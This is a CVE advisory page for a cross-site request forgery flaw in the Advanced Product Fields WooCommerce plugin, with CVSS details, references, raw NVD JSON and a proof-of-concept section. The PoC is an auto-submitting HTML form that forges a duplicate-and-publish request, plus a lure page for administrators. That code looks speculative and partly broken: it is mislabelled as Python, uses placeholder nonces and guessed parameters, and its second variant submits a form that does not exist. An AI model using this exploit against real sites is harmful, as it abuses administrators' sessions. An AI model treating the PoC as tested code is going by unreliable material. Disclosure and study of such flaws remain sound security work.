CVE-2025-13924

Description

The Advanced Product Fields (Product Addons) for WooCommerce plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.6.17. This is due to missing or incorrect nonce validation on the 'maybe_duplicate' function. This makes it possible for unauthenticated attackers to duplicate and publish product field groups, including draft and pending field groups, via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Advanced Product Fields (Product Addons) for WooCommerce <= 1.6.17

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-13924 -->
<!-- Exploit: Duplicate and publish product field groups -->
<html>
  <body>
    <form action="http://target-site/wp-admin/admin-ajax.php" method="POST" id="exploit">
      <input type="hidden" name="action" value="apfp_maybe_duplicate" />
      <input type="hidden" name="post_id" value="[TARGET_POST_ID]" />
      <input type="hidden" name="_wpnonce" value="[FORGED_OR_EMPTY_NONCE]" />
      <!-- Additional required parameters may be needed -->
      <input type="hidden" name="post_type" value="apfp_field_group" />
      <input type="hidden" name="status" value="publish" />
    </form>
    <script>
      document.getElementById('exploit').submit();
    </script>
  </body>
</html>

<!-- Alternative: Auto-submit form with social engineering -->
<html>
  <body>
    <p>Click here for amazing offer!</p>
    <img src="http://target-site/wp-admin/admin-ajax.php?action=apfp_maybe_duplicate&post_id=1" 
         onerror="document.forms[0].submit();" />
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13924
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13924
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13924/
[4] VulDB https://vuldb.com/cve/CVE-2025-13924
[5] https://github.com/Baodaica/advanced-product-fields-for-woocommerce/blob/main/class-admin-controller.php#L130-L133
[6] https://plugins.trac.wordpress.org/changeset/3411740/
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/f8906333-7024-40d3-91cd-2ecbbf20314f?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13924", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:49.037", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Advanced Product Fields (Product Addons) for WooCommerce plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.6.17. This is due to missing or incorrect nonce validation on the 'maybe_duplicate' function. This makes it possible for unauthenticated attackers to duplicate and publish product field groups, including draft and pending field groups, via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://github.com/Baodaica/advanced-product-fields-for-woocommerce/blob/main/class-admin-controller.php#L130-L133", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3411740/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f8906333-7024-40d3-91cd-2ecbbf20314f?source=cve", "source": "[email protected]"}]}}